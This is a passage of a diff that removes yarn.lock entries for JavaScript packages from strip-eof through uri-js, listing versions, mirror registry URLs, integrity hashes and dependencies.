-  resolved "https://registry.nlark.com/strip-eof/download/strip-eof-1.0.0.tgz#bb43ff5598a6eb05d89b59fcd129c983313606bf"
-  integrity sha1-u0P/VZim6wXYm1n80SnJgzE2Br8=
-
-strip-final-newline@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.nlark.com/strip-final-newline/download/strip-final-newline-2.0.0.tgz?cache=0&sync_timestamp=1620046435959&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fstrip-final-newline%2Fdownload%2Fstrip-final-newline-2.0.0.tgz#89b852fb2fcbe936f6f4b3187afb0a12c1ab58ad"
-  integrity sha1-ibhS+y/L6Tb29LMYevsKEsGrWK0=
-
-strip-indent@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.nlark.com/strip-indent/download/strip-indent-3.0.0.tgz?cache=0&sync_timestamp=1620053263051&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fstrip-indent%2Fdownload%2Fstrip-indent-3.0.0.tgz#c32e1cee940b6b3432c771bc2c54bcce73cd3001"
-  integrity sha1-wy4c7pQLazQyx3G8LFS8znPNMAE=
-  dependencies:
-    min-indent "^1.0.0"
-
-strip-json-comments@^3.1.0, strip-json-comments@^3.1.1:
-  version "3.1.1"
-  resolved "https://registry.npm.taobao.org/strip-json-comments/download/strip-json-comments-3.1.1.tgz#31f1281b3832630434831c310c01cccda8cbe006"
-  integrity sha1-MfEoGzgyYwQ0gxwxDAHMzajL4AY=
-
-style-loader@1.3.0:
-  version "1.3.0"
-  resolved "https://registry.npm.taobao.org/style-loader/download/style-loader-1.3.0.tgz?cache=0&sync_timestamp=1602337229470&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fstyle-loader%2Fdownload%2Fstyle-loader-1.3.0.tgz#828b4a3b3b7e7aa5847ce7bae9e874512114249e"
-  integrity sha1-gotKOzt+eqWEfOe66eh0USEUJJ4=
-  dependencies:
-    loader-utils "^2.0.0"
-    schema-utils "^2.7.0"
-
-stylehacks@^4.0.0:
-  version "4.0.3"
-  resolved "https://registry.nlark.com/stylehacks/download/stylehacks-4.0.3.tgz?cache=0&sync_timestamp=1621449783387&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fstylehacks%2Fdownload%2Fstylehacks-4.0.3.tgz#6718fcaf4d1e07d8a1318690881e8d96726a71d5"
-  integrity sha1-Zxj8r00eB9ihMYaQiB6NlnJqcdU=
-  dependencies:
-    browserslist "^4.0.0"
-    postcss "^7.0.0"
-    postcss-selector-parser "^3.0.0"
-
-supports-color@^5.3.0:
-  version "5.5.0"
-  resolved "https://registry.nlark.com/supports-color/download/supports-color-5.5.0.tgz?cache=0&sync_timestamp=1622293630895&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fsupports-color%2Fdownload%2Fsupports-color-5.5.0.tgz#e2e69a44ac8772f78a1ec0b35b689df6530efc8f"
-  integrity sha1-4uaaRKyHcveKHsCzW2id9lMO/I8=
-  dependencies:
-    has-flag "^3.0.0"
-
-supports-color@^6.1.0:
-  version "6.1.0"
-  resolved "https://registry.nlark.com/supports-color/download/supports-color-6.1.0.tgz?cache=0&sync_timestamp=1622293630895&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fsupports-color%2Fdownload%2Fsupports-color-6.1.0.tgz#0764abc69c63d5ac842dd4867e8d025e880df8f3"
-  integrity sha1-B2Srxpxj1ayELdSGfo0CXogN+PM=
-  dependencies:
-    has-flag "^3.0.0"
-
-supports-color@^7.0.0, supports-color@^7.1.0:
-  version "7.2.0"
-  resolved "https://registry.nlark.com/supports-color/download/supports-color-7.2.0.tgz?cache=0&sync_timestamp=1622293630895&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fsupports-color%2Fdownload%2Fsupports-color-7.2.0.tgz#1b7dcdcb32b8138801b3e478ba6a51caa89648da"
-  integrity sha1-G33NyzK4E4gBs+R4umpRyqiWSNo=
-  dependencies:
-    has-flag "^4.0.0"
-
-supports-hyperlinks@^2.0.0:
-  version "2.2.0"
-  resolved "https://registry.npm.taobao.org/supports-hyperlinks/download/supports-hyperlinks-2.2.0.tgz?cache=0&sync_timestamp=1617752134357&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fsupports-hyperlinks%2Fdownload%2Fsupports-hyperlinks-2.2.0.tgz#4f77b42488765891774b70c79babd87f9bd594bb"
-  integrity sha1-T3e0JIh2WJF3S3DHm6vYf5vVlLs=
-  dependencies:
-    has-flag "^4.0.0"
-    supports-color "^7.0.0"
-
-svg-parser@^2.0.2:
-  version "2.0.4"
-  resolved "https://registry.npm.taobao.org/svg-parser/download/svg-parser-2.0.4.tgz#fdc2e29e13951736140b76cb122c8ee6630eb6b5"
-  integrity sha1-/cLinhOVFzYUC3bLEiyO5mMOtrU=
-
-svgo@^1.0.0, svgo@^1.2.2:
-  version "1.3.2"
-  resolved "https://registry.nlark.com/svgo/download/svgo-1.3.2.tgz#b6dc511c063346c9e415b81e43401145b96d4167"
-  integrity sha1-ttxRHAYzRsnkFbgeQ0ARRbltQWc=
-  dependencies:
-    chalk "^2.4.1"
-    coa "^2.0.2"
-    css-select "^2.0.0"
-    css-select-base-adapter "^0.1.1"
-    css-tree "1.0.0-alpha.37"
-    csso "^4.0.2"
-    js-yaml "^3.13.1"
-    mkdirp "~0.5.1"
-    object.values "^1.1.0"
-    sax "~1.2.4"
-    stable "^0.1.8"
-    unquote "~1.1.1"
-    util.promisify "~1.0.0"
-
-symbol-tree@^3.2.4:
-  version "3.2.4"
-  resolved "https://registry.npm.taobao.org/symbol-tree/download/symbol-tree-3.2.4.tgz#430637d248ba77e078883951fb9aa0eed7c63fa2"
-  integrity sha1-QwY30ki6d+B4iDlR+5qg7tfGP6I=
-
-table@^6.0.9:
-  version "6.7.1"
-  resolved "https://registry.nlark.com/table/download/table-6.7.1.tgz?cache=0&sync_timestamp=1620957104150&other_urls=https%3A%2F%2Fregistry.nlark.com%2Ftable%2Fdownload%2Ftable-6.7.1.tgz#ee05592b7143831a8c94f3cee6aae4c1ccef33e2"
-  integrity sha1-7gVZK3FDgxqMlPPO5qrkwczvM+I=
-  dependencies:
-    ajv "^8.0.1"
-    lodash.clonedeep "^4.5.0"
-    lodash.truncate "^4.4.2"
-    slice-ansi "^4.0.0"
-    string-width "^4.2.0"
-    strip-ansi "^6.0.0"
-
-tapable@^1.0.0, tapable@^1.1.3:
-  version "1.1.3"
-  resolved "https://registry.npm.taobao.org/tapable/download/tapable-1.1.3.tgz#a1fccc06b58db61fd7a45da2da44f5f3a3e67ba2"
-  integrity sha1-ofzMBrWNth/XpF2i2kT186Pme6I=
-
-tar@^6.0.2:
-  version "6.1.0"
-  resolved "https://registry.npm.taobao.org/tar/download/tar-6.1.0.tgz?cache=0&sync_timestamp=1610045517836&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Ftar%2Fdownload%2Ftar-6.1.0.tgz#d1724e9bcc04b977b18d5c573b333a2207229a83"
-  integrity sha1-0XJOm8wEuXexjVxXOzM6IgcimoM=
-  dependencies:
-    chownr "^2.0.0"
-    fs-minipass "^2.0.0"
-    minipass "^3.0.0"
-    minizlib "^2.1.1"
-    mkdirp "^1.0.3"
-    yallist "^4.0.0"
-
-temp-dir@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.nlark.com/temp-dir/download/temp-dir-1.0.0.tgz#0a7c0ea26d3a39afa7e0ebea9c1fc0bc4daa011d"
-  integrity sha1-CnwOom06Oa+n4OvqnB/AvE2qAR0=
-
-tempy@^0.3.0:
-  version "0.3.0"
-  resolved "https://registry.npm.taobao.org/tempy/download/tempy-0.3.0.tgz?cache=0&sync_timestamp=1615964775789&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Ftempy%2Fdownload%2Ftempy-0.3.0.tgz#6f6c5b295695a16130996ad5ab01a8bd726e8bf8"
-  integrity sha1-b2xbKVaVoWEwmWrVqwGovXJui/g=
-  dependencies:
-    temp-dir "^1.0.0"
-    type-fest "^0.3.1"
-    unique-string "^1.0.0"
-
-terminal-link@^2.0.0:
-  version "2.1.1"
-  resolved "https://registry.npm.taobao.org/terminal-link/download/terminal-link-2.1.1.tgz?cache=0&sync_timestamp=1618724423731&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fterminal-link%2Fdownload%2Fterminal-link-2.1.1.tgz#14a64a27ab3c0df933ea546fba55f2d078edc994"
-  integrity sha1-FKZKJ6s8Dfkz6lRvulXy0HjtyZQ=
-  dependencies:
-    ansi-escapes "^4.2.1"
-    supports-hyperlinks "^2.0.0"
-
-terser-webpack-plugin@4.2.3:
-  version "4.2.3"
-  resolved "https://registry.nlark.com/terser-webpack-plugin/download/terser-webpack-plugin-4.2.3.tgz?cache=0&sync_timestamp=1622475814720&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fterser-webpack-plugin%2Fdownload%2Fterser-webpack-plugin-4.2.3.tgz#28daef4a83bd17c1db0297070adc07fc8cfc6a9a"
-  integrity sha1-KNrvSoO9F8HbApcHCtwH/Iz8apo=
-  dependencies:
-    cacache "^15.0.5"
-    find-cache-dir "^3.3.1"
-    jest-worker "^26.5.0"
-    p-limit "^3.0.2"
-    schema-utils "^3.0.0"
-    serialize-javascript "^5.0.1"
-    source-map "^0.6.1"
-    terser "^5.3.4"
-    webpack-sources "^1.4.3"
-
-terser-webpack-plugin@^1.4.3:
-  version "1.4.5"
-  resolved "https://registry.nlark.com/terser-webpack-plugin/download/terser-webpack-plugin-1.4.5.tgz?cache=0&sync_timestamp=1622475814720&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fterser-webpack-plugin%2Fdownload%2Fterser-webpack-plugin-1.4.5.tgz#a217aefaea330e734ffacb6120ec1fa312d6040b"
-  integrity sha1-oheu+uozDnNP+sthIOwfoxLWBAs=
-  dependencies:
-    cacache "^12.0.2"
-    find-cache-dir "^2.1.0"
-    is-wsl "^1.1.0"
-    schema-utils "^1.0.0"
-    serialize-javascript "^4.0.0"
-    source-map "^0.6.1"
-    terser "^4.1.2"
-    webpack-sources "^1.4.0"
-    worker-farm "^1.7.0"
-
-terser@^4.1.2, terser@^4.6.2, terser@^4.6.3:
-  version "4.8.0"
-  resolved "https://registry.nlark.com/terser/download/terser-4.8.0.tgz#63056343d7c70bb29f3af665865a46fe03a0df17"
-  integrity sha1-YwVjQ9fHC7KfOvZlhlpG/gOg3xc=
-  dependencies:
-    commander "^2.20.0"
-    source-map "~0.6.1"
-    source-map-support "~0.5.12"
-
-terser@^5.3.4:
-  version "5.7.0"
-  resolved "https://registry.nlark.com/terser/download/terser-5.7.0.tgz#a761eeec206bc87b605ab13029876ead938ae693"
-  integrity sha1-p2Hu7CBryHtgWrEwKYdurZOK5pM=
-  dependencies:
-    commander "^2.20.0"
-    source-map "~0.7.2"
-    source-map-support "~0.5.19"
-
-test-exclude@^6.0.0:
-  version "6.0.0"
-  resolved "https://registry.npm.taobao.org/test-exclude/download/test-exclude-6.0.0.tgz#04a8698661d805ea6fa293b6cb9e63ac044ef15e"
-  integrity sha1-BKhphmHYBepvopO2y55jrARO8V4=
-  dependencies:
-    "@istanbuljs/schema" "^0.1.2"
-    glob "^7.1.4"
-    minimatch "^3.0.4"
-
-text-table@0.2.0, text-table@^0.2.0:
-  version "0.2.0"
-  resolved "https://registry.npm.taobao.org/text-table/download/text-table-0.2.0.tgz#7f5ee823ae805207c00af2df4a84ec3fcfa570b4"
-  integrity sha1-f17oI66AUgfACvLfSoTsP8+lcLQ=
-
-throat@^5.0.0:
-  version "5.0.0"
-  resolved "https://registry.npm.taobao.org/throat/download/throat-5.0.0.tgz#c5199235803aad18754a667d659b5e72ce16764b"
-  integrity sha1-xRmSNYA6rRh1SmZ9ZZtecs4Wdks=
-
-through2@^2.0.0:
-  version "2.0.5"
-  resolved "https://registry.npm.taobao.org/through2/download/through2-2.0.5.tgz#01c1e39eb31d07cb7d03a96a70823260b23132cd"
-  integrity sha1-AcHjnrMdB8t9A6lqcIIyYLIxMs0=
-  dependencies:
-    readable-stream "~2.3.6"
-    xtend "~4.0.1"
-
-thunky@^1.0.2:
-  version "1.1.0"
-  resolved "https://registry.npm.taobao.org/thunky/download/thunky-1.1.0.tgz#5abaf714a9405db0504732bbccd2cedd9ef9537d"
-  integrity sha1-Wrr3FKlAXbBQRzK7zNLO3Z75U30=
-
-timers-browserify@^2.0.4:
-  version "2.0.12"
-  resolved "https://registry.npm.taobao.org/timers-browserify/download/timers-browserify-2.0.12.tgz#44a45c11fbf407f34f97bccd1577c652361b00ee"
-  integrity sha1-RKRcEfv0B/NPl7zNFXfGUjYbAO4=
-  dependencies:
-    setimmediate "^1.0.4"
-
-timsort@^0.3.0:
-  version "0.3.0"
-  resolved "https://registry.npm.taobao.org/timsort/download/timsort-0.3.0.tgz#405411a8e7e6339fe64db9a234de11dc31e02bd4"
-  integrity sha1-QFQRqOfmM5/mTbmiNN4R3DHgK9Q=
-
-tmpl@1.0.x:
-  version "1.0.4"
-  resolved "https://registry.npm.taobao.org/tmpl/download/tmpl-1.0.4.tgz#23640dd7b42d00433911140820e5cf440e521dd1"
-  integrity sha1-I2QN17QtAEM5ERQIIOXPRA5SHdE=
-
-to-arraybuffer@^1.0.0:
-  version "1.0.1"
-  resolved "https://registry.npm.taobao.org/to-arraybuffer/download/to-arraybuffer-1.0.1.tgz#7d229b1fcc637e466ca081180836a7aabff83f43"
-  integrity sha1-fSKbH8xjfkZsoIEYCDanqr/4P0M=
-
-to-fast-properties@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.nlark.com/to-fast-properties/download/to-fast-properties-2.0.0.tgz#dc5e698cbd079265bc73e0377681a4e4e83f616e"
-  integrity sha1-3F5pjL0HkmW8c+A3doGk5Og/YW4=
-
-to-object-path@^0.3.0:
-  version "0.3.0"
-  resolved "https://registry.npm.taobao.org/to-object-path/download/to-object-path-0.3.0.tgz#297588b7b0e7e0ac08e04e672f85c1f4999e17af"
-  integrity sha1-KXWIt7Dn4KwI4E5nL4XB9JmeF68=
-  dependencies:
-    kind-of "^3.0.2"
-
-to-regex-range@^2.1.0:
-  version "2.1.1"
-  resolved "https://registry.npm.taobao.org/to-regex-range/download/to-regex-range-2.1.1.tgz#7c80c17b9dfebe599e27367e0d4dd5590141db38"
-  integrity sha1-fIDBe53+vlmeJzZ+DU3VWQFB2zg=
-  dependencies:
-    is-number "^3.0.0"
-    repeat-string "^1.6.1"
-
-to-regex-range@^5.0.1:
-  version "5.0.1"
-  resolved "https://registry.npm.taobao.org/to-regex-range/download/to-regex-range-5.0.1.tgz#1648c44aae7c8d988a326018ed72f5b4dd0392e4"
-  integrity sha1-FkjESq58jZiKMmAY7XL1tN0DkuQ=
-  dependencies:
-    is-number "^7.0.0"
-
-to-regex@^3.0.1, to-regex@^3.0.2:
-  version "3.0.2"
-  resolved "https://registry.npm.taobao.org/to-regex/download/to-regex-3.0.2.tgz#13cfdd9b336552f30b51f33a8ae1b42a7a7599ce"
-  integrity sha1-E8/dmzNlUvMLUfM6iuG0Knp1mc4=
-  dependencies:
-    define-property "^2.0.2"
-    extend-shallow "^3.0.2"
-    regex-not "^1.0.2"
-    safe-regex "^1.1.0"
-
-toidentifier@1.0.0:
-  version "1.0.0"
-  resolved "https://registry.npm.taobao.org/toidentifier/download/toidentifier-1.0.0.tgz#7e1be3470f1e77948bc43d94a3c8f4d7752ba553"
-  integrity sha1-fhvjRw8ed5SLxD2Uo8j013UrpVM=
-
-tough-cookie@^4.0.0:
-  version "4.0.0"
-  resolved "https://registry.npm.taobao.org/tough-cookie/download/tough-cookie-4.0.0.tgz#d822234eeca882f991f0f908824ad2622ddbece4"
-  integrity sha1-2CIjTuyogvmR8PkIgkrSYi3b7OQ=
-  dependencies:
-    psl "^1.1.33"
-    punycode "^2.1.1"
-    universalify "^0.1.2"
-
-tr46@^2.0.2:
-  version "2.1.0"
-  resolved "https://registry.nlark.com/tr46/download/tr46-2.1.0.tgz#fa87aa81ca5d5941da8cbf1f9b749dc969a4e240"
-  integrity sha1-+oeqgcpdWUHajL8fm3SdyWmk4kA=
-  dependencies:
-    punycode "^2.1.1"
-
-tryer@^1.0.1:
-  version "1.0.1"
-  resolved "https://registry.npm.taobao.org/tryer/download/tryer-1.0.1.tgz#f2c85406800b9b0f74c9f7465b81eaad241252f8"
-  integrity sha1-8shUBoALmw90yfdGW4HqrSQSUvg=
-
-ts-pnp@1.2.0, ts-pnp@^1.1.6:
-  version "1.2.0"
-  resolved "https://registry.npm.taobao.org/ts-pnp/download/ts-pnp-1.2.0.tgz#a500ad084b0798f1c3071af391e65912c86bca92"
-  integrity sha1-pQCtCEsHmPHDBxrzkeZZEshrypI=
-
-tsconfig-paths@^3.9.0:
-  version "3.9.0"
-  resolved "https://registry.npm.taobao.org/tsconfig-paths/download/tsconfig-paths-3.9.0.tgz?cache=0&sync_timestamp=1606090519879&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Ftsconfig-paths%2Fdownload%2Ftsconfig-paths-3.9.0.tgz#098547a6c4448807e8fcb8eae081064ee9a3c90b"
-  integrity sha1-CYVHpsREiAfo/Ljq4IEGTumjyQs=
-  dependencies:
-    "@types/json5" "^0.0.29"
-    json5 "^1.0.1"
-    minimist "^1.2.0"
-    strip-bom "^3.0.0"
-
-tslib@^1.8.1:
-  version "1.14.1"
-  resolved "https://registry.npm.taobao.org/tslib/download/tslib-1.14.1.tgz?cache=0&sync_timestamp=1617647281845&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Ftslib%2Fdownload%2Ftslib-1.14.1.tgz#cf2d38bdc34a134bcaf1091c41f6619e2f672d00"
-  integrity sha1-zy04vcNKE0vK8QkcQfZhni9nLQA=
-
-tslib@^2.0.3:
-  version "2.2.0"
-  resolved "https://registry.npm.taobao.org/tslib/download/tslib-2.2.0.tgz?cache=0&sync_timestamp=1617647281845&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Ftslib%2Fdownload%2Ftslib-2.2.0.tgz#fb2c475977e35e241311ede2693cee1ec6698f5c"
-  integrity sha1-+yxHWXfjXiQTEe3iaTzuHsZpj1w=
-
-tsutils@^3.17.1, tsutils@^3.21.0:
-  version "3.21.0"
-  resolved "https://registry.npm.taobao.org/tsutils/download/tsutils-3.21.0.tgz?cache=0&sync_timestamp=1615138426726&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Ftsutils%2Fdownload%2Ftsutils-3.21.0.tgz#b48717d394cea6c1e096983eed58e9d61715b623"
-  integrity sha1-tIcX05TOpsHglpg+7Vjp1hcVtiM=
-  dependencies:
-    tslib "^1.8.1"
-
-tty-browserify@0.0.0:
-  version "0.0.0"
-  resolved "https://registry.npm.taobao.org/tty-browserify/download/tty-browserify-0.0.0.tgz#a157ba402da24e9bf957f9aa69d524eed42901a6"
-  integrity sha1-oVe6QC2iTpv5V/mqadUk7tQpAaY=
-
-type-check@^0.4.0, type-check@~0.4.0:
-  version "0.4.0"
-  resolved "https://registry.npm.taobao.org/type-check/download/type-check-0.4.0.tgz#07b8203bfa7056c0657050e3ccd2c37730bab8f1"
-  integrity sha1-B7ggO/pwVsBlcFDjzNLDdzC6uPE=
-  dependencies:
-    prelude-ls "^1.2.1"
-
-type-check@~0.3.2:
-  version "0.3.2"
-  resolved "https://registry.npm.taobao.org/type-check/download/type-check-0.3.2.tgz#5884cab512cf1d355e3fb784f30804b2b520db72"
-  integrity sha1-WITKtRLPHTVeP7eE8wgEsrUg23I=
-  dependencies:
-    prelude-ls "~1.1.2"
-
-type-detect@4.0.8:
-  version "4.0.8"
-  resolved "https://registry.npm.taobao.org/type-detect/download/type-detect-4.0.8.tgz#7646fb5f18871cfbb7749e69bd39a6388eb7450c"
-  integrity sha1-dkb7XxiHHPu3dJ5pvTmmOI63RQw=
-
-type-fest@^0.20.2:
-  version "0.20.2"
-  resolved "https://registry.nlark.com/type-fest/download/type-fest-0.20.2.tgz?cache=0&sync_timestamp=1622543370439&other_urls=https%3A%2F%2Fregistry.nlark.com%2Ftype-fest%2Fdownload%2Ftype-fest-0.20.2.tgz#1bf207f4b28f91583666cb5fbd327887301cd5f4"
-  integrity sha1-G/IH9LKPkVg2ZstfvTJ4hzAc1fQ=
-
-type-fest@^0.21.3:
-  version "0.21.3"
-  resolved "https://registry.nlark.com/type-fest/download/type-fest-0.21.3.tgz?cache=0&sync_timestamp=1622543370439&other_urls=https%3A%2F%2Fregistry.nlark.com%2Ftype-fest%2Fdownload%2Ftype-fest-0.21.3.tgz#d260a24b0198436e133fa26a524a6d65fa3b2e37"
-  integrity sha1-0mCiSwGYQ24TP6JqUkptZfo7Ljc=
-
-type-fest@^0.3.1:
-  version "0.3.1"
-  resolved "https://registry.nlark.com/type-fest/download/type-fest-0.3.1.tgz?cache=0&sync_timestamp=1622543370439&other_urls=https%3A%2F%2Fregistry.nlark.com%2Ftype-fest%2Fdownload%2Ftype-fest-0.3.1.tgz#63d00d204e059474fe5e1b7c011112bbd1dc29e1"
-  integrity sha1-Y9ANIE4FlHT+Xht8ARESu9HcKeE=
-
-type-fest@^0.6.0:
-  version "0.6.0"
-  resolved "https://registry.nlark.com/type-fest/download/type-fest-0.6.0.tgz?cache=0&sync_timestamp=1622543370439&other_urls=https%3A%2F%2Fregistry.nlark.com%2Ftype-fest%2Fdownload%2Ftype-fest-0.6.0.tgz#8d2a2370d3df886eb5c90ada1c5bf6188acf838b"
-  integrity sha1-jSojcNPfiG61yQraHFv2GIrPg4s=
-
-type-fest@^0.8.1:
-  version "0.8.1"
-  resolved "https://registry.nlark.com/type-fest/download/type-fest-0.8.1.tgz?cache=0&sync_timestamp=1622543370439&other_urls=https%3A%2F%2Fregistry.nlark.com%2Ftype-fest%2Fdownload%2Ftype-fest-0.8.1.tgz#09e249ebde851d3b1e48d27c105444667f17b83d"
-  integrity sha1-CeJJ696FHTseSNJ8EFREZn8XuD0=
-
-type-is@~1.6.17, type-is@~1.6.18:
-  version "1.6.18"
-  resolved "https://registry.npm.taobao.org/type-is/download/type-is-1.6.18.tgz#4e552cd05df09467dcbc4ef739de89f2cf37c131"
-  integrity sha1-TlUs0F3wlGfcvE73Od6J8s83wTE=
-  dependencies:
-    media-typer "0.3.0"
-    mime-types "~2.1.24"
-
-type@^1.0.1:
-  version "1.2.0"
-  resolved "https://registry.npm.taobao.org/type/download/type-1.2.0.tgz#848dd7698dafa3e54a6c479e759c4bc3f18847a0"
-  integrity sha1-hI3XaY2vo+VKbEeedZxLw/GIR6A=
-
-type@^2.0.0:
-  version "2.5.0"
-  resolved "https://registry.npm.taobao.org/type/download/type-2.5.0.tgz#0a2e78c2e77907b252abe5f298c1b01c63f0db3d"
-  integrity sha1-Ci54wud5B7JSq+XymMGwHGPw2z0=
-
-typedarray-to-buffer@^3.1.5:
-  version "3.1.5"
-  resolved "https://registry.npm.taobao.org/typedarray-to-buffer/download/typedarray-to-buffer-3.1.5.tgz#a97ee7a9ff42691b9f783ff1bc5112fe3fca9080"
-  integrity sha1-qX7nqf9CaRufeD/xvFES/j/KkIA=
-  dependencies:
-    is-typedarray "^1.0.0"
-
-typedarray@^0.0.6:
-  version "0.0.6"
-  resolved "https://registry.npm.taobao.org/typedarray/download/typedarray-0.0.6.tgz#867ac74e3864187b1d3d47d996a78ec5c8830777"
-  integrity sha1-hnrHTjhkGHsdPUfZlqeOxciDB3c=
-
-unbox-primitive@^1.0.1:
-  version "1.0.1"
-  resolved "https://registry.nlark.com/unbox-primitive/download/unbox-primitive-1.0.1.tgz#085e215625ec3162574dc8859abee78a59b14471"
-  integrity sha1-CF4hViXsMWJXTciFmr7nilmxRHE=
-  dependencies:
-    function-bind "^1.1.1"
-    has-bigints "^1.0.1"
-    has-symbols "^1.0.2"
-    which-boxed-primitive "^1.0.2"
-
-uncontrollable@^7.2.1:
-  version "7.2.1"
-  resolved "https://registry.yarnpkg.com/uncontrollable/-/uncontrollable-7.2.1.tgz#1fa70ba0c57a14d5f78905d533cf63916dc75738"
-  integrity sha512-svtcfoTADIB0nT9nltgjujTi7BzVmwjZClOmskKu/E8FW9BXzg9os8OLr4f8Dlnk0rYWJIWr4wv9eKUXiQvQwQ==
-  dependencies:
-    "@babel/runtime" "^7.6.3"
-    "@types/react" ">=16.9.11"
-    invariant "^2.2.4"
-    react-lifecycles-compat "^3.0.4"
-
-unicode-canonical-property-names-ecmascript@^1.0.4:
-  version "1.0.4"
-  resolved "https://registry.npm.taobao.org/unicode-canonical-property-names-ecmascript/download/unicode-canonical-property-names-ecmascript-1.0.4.tgz#2619800c4c825800efdd8343af7dd9933cbe2818"
-  integrity sha1-JhmADEyCWADv3YNDr33Zkzy+KBg=
-
-unicode-match-property-ecmascript@^1.0.4:
-  version "1.0.4"
-  resolved "https://registry.npm.taobao.org/unicode-match-property-ecmascript/download/unicode-match-property-ecmascript-1.0.4.tgz#8ed2a32569961bce9227d09cd3ffbb8fed5f020c"
-  integrity sha1-jtKjJWmWG86SJ9Cc0/+7j+1fAgw=
-  dependencies:
-    unicode-canonical-property-names-ecmascript "^1.0.4"
-    unicode-property-aliases-ecmascript "^1.0.4"
-
-unicode-match-property-value-ecmascript@^1.2.0:
-  version "1.2.0"
-  resolved "https://registry.npm.taobao.org/unicode-match-property-value-ecmascript/download/unicode-match-property-value-ecmascript-1.2.0.tgz#0d91f600eeeb3096aa962b1d6fc88876e64ea531"
-  integrity sha1-DZH2AO7rMJaqlisdb8iIduZOpTE=
-
-unicode-property-aliases-ecmascript@^1.0.4:
-  version "1.1.0"
-  resolved "https://registry.npm.taobao.org/unicode-property-aliases-ecmascript/download/unicode-property-aliases-ecmascript-1.1.0.tgz#dd57a99f6207bedff4628abefb94c50db941c8f4"
-  integrity sha1-3Vepn2IHvt/0Yoq++5TFDblByPQ=
-
-union-value@^1.0.0:
-  version "1.0.1"
-  resolved "https://registry.npm.taobao.org/union-value/download/union-value-1.0.1.tgz#0b6fe7b835aecda61c6ea4d4f02c14221e109847"
-  integrity sha1-C2/nuDWuzaYcbqTU8CwUIh4QmEc=
-  dependencies:
-    arr-union "^3.1.0"
-    get-value "^2.0.6"
-    is-extendable "^0.1.1"
-    set-value "^2.0.1"
-
-uniq@^1.0.1:
-  version "1.0.1"
-  resolved "https://registry.npm.taobao.org/uniq/download/uniq-1.0.1.tgz#b31c5ae8254844a3a8281541ce2b04b865a734ff"
-  integrity sha1-sxxa6CVIRKOoKBVBzisEuGWnNP8=
-
-uniqs@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.npm.taobao.org/uniqs/download/uniqs-2.0.0.tgz#ffede4b36b25290696e6e165d4a59edb998e6b02"
-  integrity sha1-/+3ks2slKQaW5uFl1KWe25mOawI=
-
-unique-filename@^1.1.1:
-  version "1.1.1"
-  resolved "https://registry.nlark.com/unique-filename/download/unique-filename-1.1.1.tgz#1d69769369ada0583103a1e6ae87681b56573230"
-  integrity sha1-HWl2k2mtoFgxA6HmrodoG1ZXMjA=
-  dependencies:
-    unique-slug "^2.0.0"
-
-unique-slug@^2.0.0:
-  version "2.0.2"
-  resolved "https://registry.npm.taobao.org/unique-slug/download/unique-slug-2.0.2.tgz#baabce91083fc64e945b0f3ad613e264f7cd4e6c"
-  integrity sha1-uqvOkQg/xk6UWw861hPiZPfNTmw=
-  dependencies:
-    imurmurhash "^0.1.4"
-
-unique-string@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.npm.taobao.org/unique-string/download/unique-string-1.0.0.tgz#9e1057cca851abb93398f8b33ae187b99caec11a"
-  integrity sha1-nhBXzKhRq7kzmPizOuGHuZyuwRo=
-  dependencies:
-    crypto-random-string "^1.0.0"
-
-universalify@^0.1.0, universalify@^0.1.2:
-  version "0.1.2"
-  resolved "https://registry.npm.taobao.org/universalify/download/universalify-0.1.2.tgz#b646f69be3942dabcecc9d6639c80dc105efaa66"
-  integrity sha1-tkb2m+OULavOzJ1mOcgNwQXvqmY=
-
-universalify@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.npm.taobao.org/universalify/download/universalify-2.0.0.tgz#75a4984efedc4b08975c5aeb73f530d02df25717"
-  integrity sha1-daSYTv7cSwiXXFrrc/Uw0C3yVxc=
-
-unpipe@1.0.0, unpipe@~1.0.0:
-  version "1.0.0"
-  resolved "https://registry.npm.taobao.org/unpipe/download/unpipe-1.0.0.tgz#b2bf4ee8514aae6165b4817829d21b2ef49904ec"
-  integrity sha1-sr9O6FFKrmFltIF4KdIbLvSZBOw=
-
-unquote@~1.1.1:
-  version "1.1.1"
-  resolved "https://registry.npm.taobao.org/unquote/download/unquote-1.1.1.tgz#8fded7324ec6e88a0ff8b905e7c098cdc086d544"
-  integrity sha1-j97XMk7G6IoP+LkF58CYzcCG1UQ=
-
-unset-value@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.npm.taobao.org/unset-value/download/unset-value-1.0.0.tgz?cache=0&sync_timestamp=1616088572283&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Funset-value%2Fdownload%2Funset-value-1.0.0.tgz#8376873f7d2335179ffb1e6fc3a8ed0dfc8ab559"
-  integrity sha1-g3aHP30jNRef+x5vw6jtDfyKtVk=
-  dependencies:
-    has-value "^0.3.1"
-    isobject "^3.0.0"
-
-upath@^1.1.1, upath@^1.1.2, upath@^1.2.0:
-  version "1.2.0"
-  resolved "https://registry.npm.taobao.org/upath/download/upath-1.2.0.tgz?cache=0&sync_timestamp=1604768535464&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fupath%2Fdownload%2Fupath-1.2.0.tgz#8f66dbcd55a883acdae4408af8b035a5044c1894"
-  integrity sha1-j2bbzVWog6za5ECK+LA1pQRMGJQ=
-
-uri-js@^4.2.2:
-  version "4.4.1"
